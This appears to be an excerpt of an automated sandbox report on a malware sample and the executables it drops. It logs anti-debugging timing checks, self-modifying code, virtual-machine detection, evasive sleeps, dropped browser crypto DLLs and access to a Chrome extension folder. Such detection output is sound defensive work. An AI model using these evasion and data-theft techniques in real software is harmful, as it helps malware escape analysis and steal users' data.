Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55F0520 second address: 55F05AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov edi, 6384DBDAh 0x0000000f mov al, bl 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FA458BC4748h 0x0000001b xor eax, 3B287948h 0x00000021 jmp 00007FA458BC473Bh 0x00000026 popfd 0x00000027 mov edi, eax 0x00000029 popad 0x0000002a push dword ptr [ebp+0Ch] 0x0000002d jmp 00007FA458BC4742h 0x00000032 push dword ptr [ebp+08h] 0x00000035 jmp 00007FA458BC4740h 0x0000003a call 00007FA458BC4739h 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FA458BC4747h 0x00000046 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55F05AD second address: 55F05D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA458503DFCh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55F05D9 second address: 55F05F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA458BC4740h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55F05F9 second address: 55F05FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55F06E2 second address: 55F06FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4749h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF93B3 second address: DF93B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55A034C second address: 55A0350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55A0350 second address: 55A0356 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55A0356 second address: 55A035C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55A035C second address: 55A0360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55A0360 second address: 55A03BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4748h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e mov esi, 2259F863h 0x00000013 pushfd 0x00000014 jmp 00007FA458BC4748h 0x00000019 add eax, 468C4EA8h 0x0000001f jmp 00007FA458BC473Bh 0x00000024 popfd 0x00000025 popad 0x00000026 mov ah, 01h 0x00000028 popad 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55A03BC second address: 55A03C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Special instruction interceptor: First address: C3EAD3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Special instruction interceptor: First address: DEFA10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Special instruction interceptor: First address: C3E9E7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Special instruction interceptor: First address: C3E9B5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Special instruction interceptor: First address: E79BFC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: E0EAD3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: FBFA10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: E0E9E7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: E0E9B5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 1049BFC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Special instruction interceptor: First address: A8DFAB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Special instruction interceptor: First address: C378EB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Special instruction interceptor: First address: A8DEE4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Special instruction interceptor: First address: CC64BD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Special instruction interceptor: First address: CF2662 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Special instruction interceptor: First address: B4E812 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Special instruction interceptor: First address: 11CF95C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Special instruction interceptor: First address: 13804F8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Special instruction interceptor: First address: 14115BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Special instruction interceptor: First address: 4FEAD3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Special instruction interceptor: First address: 6AFA10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Special instruction interceptor: First address: 4FE9E7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Special instruction interceptor: First address: 4FE9B5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Special instruction interceptor: First address: 1618CDB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Special instruction interceptor: First address: 1618BF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Special instruction interceptor: First address: 11CF95C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Special instruction interceptor: First address: 13804F8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Special instruction interceptor: First address: 739BFC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Special instruction interceptor: First address: 14115BE instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Code function: 11_2_055F060E rdtsc 11_2_055F060E
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5458 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3190 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5329 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4518 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 4049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 4341
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7180
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6808
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2881
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\KUQRYpJ[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[3].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1074971001\KUQRYpJ.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1074970001\a0be961972.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1074972001\Bjkm5hE.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1074966001\544b1ad39e.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1074968001\6609830e7b.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Bjkm5hE[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\px4Y74kUj2.exe API coverage: 3.4 %
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe API coverage: 7.0 %
Is looking for software installed on the system
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Registry key enumerated: More than 102 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7092 Thread sleep time: -17524406870024063s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2016 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6304 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6532 Thread sleep time: -7378697629483816s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5676 Thread sleep count: 77 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5676 Thread sleep time: -154077s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3268 Thread sleep count: 77 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3268 Thread sleep time: -154077s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5988 Thread sleep count: 75 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5988 Thread sleep time: -150075s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2548 Thread sleep count: 193 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2548 Thread sleep time: -5790000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5192 Thread sleep count: 4049 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5192 Thread sleep time: -8102049s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6844 Thread sleep count: 4341 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6844 Thread sleep time: -8686341s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1916 Thread sleep count: 79 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1916 Thread sleep time: -158079s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6844 Thread sleep count: 322 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6844 Thread sleep time: -644322s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe TID: 6836 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe TID: 5360 Thread sleep count: 41 > 30
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe TID: 5360 Thread sleep time: -82041s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe TID: 5672 Thread sleep count: 41 > 30
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe TID: 5672 Thread sleep time: -82041s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe TID: 2356 Thread sleep count: 40 > 30
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe TID: 2356 Thread sleep time: -80040s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe TID: 1668 Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe TID: 5248 Thread sleep time: -40000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe TID: 1816 Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe TID: 2632 Thread sleep count: 34 > 30
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe TID: 2632 Thread sleep time: -68034s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe TID: 1616 Thread sleep time: -56028s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe TID: 6288 Thread sleep count: 97 > 30
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe TID: 6288 Thread sleep count: 113 > 30
Source: C:\Windows\System32\svchost.exe TID: 2100 Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6464 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe TID: 5388 Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe TID: 3896 Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe TID: 2960 Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe TID: 5348 Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe TID: 7180 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe TID: 2864 Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe TID: 4568 Thread sleep time: -44022s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5904 Thread sleep time: -16602069666338586s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3800 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8160 Thread sleep time: -16602069666338586s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe TID: 7956 Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe TID: 7976 Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe TID: 7572 Thread sleep count: 225 > 30
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe TID: 7572 Thread sleep time: -1350000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe TID: 7880 Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe TID: 7684 Thread sleep count: 212 > 30
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe TID: 7684 Thread sleep time: -1272000s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0049DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose, 0_2_0049DBBE
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0046C2A2 FindFirstFileExW, 0_2_0046C2A2
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A68EE FindFirstFileW,FindClose, 0_2_004A68EE
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime, 0_2_004A698F
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0049D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 0_2_0049D076
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0049D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 0_2_0049D3A9
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 0_2_004A9642
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 0_2_004A979D
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose, 0_2_004A9B2B
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A5C97 FindFirstFileW,FindNextFileW,FindClose, 0_2_004A5C97
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004342DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 0_2_004342DE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE, TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE, 0000000D.00000002.2367385943.0000000000DCB000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 0000000E.00000002.2351117983.0000000000F9B000.00000040.00000001.01000000.0000000F.sdmp, f9cb675f2a.exe, f9cb675f2a.exe, 00000014.00000002.2929139311.0000000000C13000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
